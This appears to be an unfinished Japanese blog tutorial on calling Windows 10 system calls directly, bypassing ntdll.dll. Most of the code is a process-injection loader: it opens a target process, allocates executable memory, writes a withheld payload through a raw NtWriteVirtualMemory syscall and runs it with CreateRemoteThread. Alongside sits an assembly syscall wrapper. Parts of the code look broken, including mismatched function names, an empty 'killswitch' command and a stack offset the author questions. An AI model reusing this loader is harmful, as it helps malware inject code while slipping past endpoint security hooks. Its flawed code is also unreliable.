Manual "syscall" on Windows10(未完)
執筆に至った経緯
英語・日本語・中国語・韓国語にsyscallやカーネルに関する優れた文献はいくつもありましたが、どれも純粋なsyscallを呼び出すコーディングについて言及しているものではありませんでした。また、必要な知見は散りばめられており一つの文献で解決できるようになることは有益だと思います。
今後の意向
記事を随時更新する意向です。なお本記事の内容は2024/11迄の情報です。
目的
特に、ntdll.dllを介さずに任意のWindowsAPI関数を呼び出すこととします。
あらゆる副次的な知識は別記事や参照先のURLで述べられています。
システムコールについて
user32.dllやkernel32.dllにふくまれるWindowsAPIは、おおよそシステムコール関数というものに変換されます。システムコール関数はntdllでNtやZtが先頭に付与されています。
たとえば、kernel32.dllにふくまれるOpenProcess()ならNtOpenProcessに変換されます。
ここでは、NtOpenProcessがシステムコール関数です。
システムコール関数にはそれぞれ一意にシステムコール番号が割り振られています。
これはWindowsのバージョンによって違います。
バージョンについて
[設定] < [システム] < [詳細情報] の [バージョン] セクションから確認できます。
同じWindows10においても、
1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H2
の14つにもわたるバージョンがあります。
各自は、該当するバージョンとそのシステムコール番号をココ↓ の対応表で確認してください。
syscallについて
syscallとは、システムコール関数を実行するための関数であり、呼び出し法です。
あらゆるWindowsAPIは、システムコール関数を介し、syscallに呼ばれ、実行されます。
コーディングイメージはこんなんです。
syscall(システムコール番号, 第一引数, 第二引数, 第三引数...)
syscall
syscall 概要
syscallは、ユーザに提供されるWindowsAPIからネイティブAPIへの翻訳者のようであり、橋渡しであり、スタブであり、ラッパーであり、リレーです。
syscallは、ユーザモードからカーネルモードへ一時的に遷移(URL)し、
syscall呼び出し直後、raxレジスタはシステムコール番号が格納されます(画像)。
正規的な順序
User Mode-----------------------------------------
Applications
↕
WindowsAPI
↕
syscall
Kernel Mode----------------- ↕ -------------------
Kernel subsystem
↕ ↕
Kernel-mode-drivers OS-kernel
↕ ↕
Hardware Abstraction Layer
↕
Hardware
User ModeのApplicationsから呼び出されたWindowsAPIはsyscallによってカーネルモードへリレーされます。
正規に関数を呼び出すときの流れ


プログラムのフロー
C++から外部関数としてsyscall.asmを呼び出します。
C++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <iostream>
using namespace std;
// Windows10 : 22H2
#define SYS_op_Win10 0x0026 // NtOpenProcess
#define SYS_va_Win10 0x0018 // NtAllocateVirtualMemory
#define SYS_wpm_Win10 0x003a // NtWriteVirtualMemory
#define SYS_crt_Win10 0x004e // NtCreateThreadEx
extern "C" NTSTATUS syscall(DWORD number, ...);
BOOL WriteProcessMemorySyscall(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
unsigned char payload[] = "16進数が入ります。さすがに公開はしません。";
unsigned int payload_len = sizeof(payload);
int main(int argc, char* argv[]) {
HANDLE ph;
PVOID rb;
HANDLE rt;
//killswitch
int flag;
string echo;
const char* echo2 = echo.c_str();
flag = system(echo2);
if (flag != 0x409F){
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//WriteProcessMemorySyscall(ph, rb, payload, payload_len, NULL);
NTSTATUS result = syscall(SYS_wpm_Win10, ph, rb, payload, payload_len, NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}
BOOL WriteProcessMemorySyscall(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) {
BOOL wpm = (BOOL)syscall(SYS_wpm_Win10, hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
//syscall(SYS_wpm_Win10, hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
return TRUE;
}
.asmより, syscall
bits 64
section .text
global wrapper
wrapper:
mov rax, rcx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9, [rsp + 8] ;+8でできたっけ?
pop r11
add rsp, 8
push r11
mov r10, rcx
syscall
pop r11
sub rsp, 8
push r11
ret
64bitで、
.text(コード書くところ)で、
外部の.cppからwrapper()関数として呼び出せますよ。
という明示です。
bits 64
section .text
global wrapper
以降、wrapper()関数を定義します。
syscallで用いられるべく、raxレジスタに第一引数rcxを代入します。
wrapper:
mov rax, rcx
本来、第一引数に入るべき引数がシステムコール番号によってズレてるので
逆ズレによって直します。
syscall(システムコール番号, 第一引数, 第二引数, 第三引数...) | rax()
↓ |
syscall(第一引数, 第二引数, 第三引数...) | rax(システムコール番号)
ようするにrcxに本来の第一引数が入るように調整しているのが以下です。
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9, [rsp + 8]
スタック調整?
pop r11
add rsp, 8
push r11
仕様上なぜか、第一引数(rcx)をr10にとるので
全ての準備が整ったので、syscall()
mov r10, rcx
syscall
pop r11
sub rsp, 8
push r11
ret
syscall構文と呼び出し規約
彼によれば
第1引数:rcx
第2引数:rdx
第3引数:r8
第4引数:r9
第5引数以降:スタックに積まれる
のですが、図(↓)を見た感じsyscallはすこし変わった呼び出し構文を持っているようです。

Visual Studio
って、インストール永石、要領で開始、軌道遅いし、UIきたないしボタン大石、生成ファイル多いしディレクトリ移動面倒だしウィンドウぐちゃぐちゃなるし嫌いですよね_?僕は嫌いです。
だからnotepadでasmかきます
なんか一応、Visual Studio VC++x64でレジスタ操作はできるみたいですケド..まぁこれは「直接、間接的に操作している」みたいなニュアンスなので
Discussion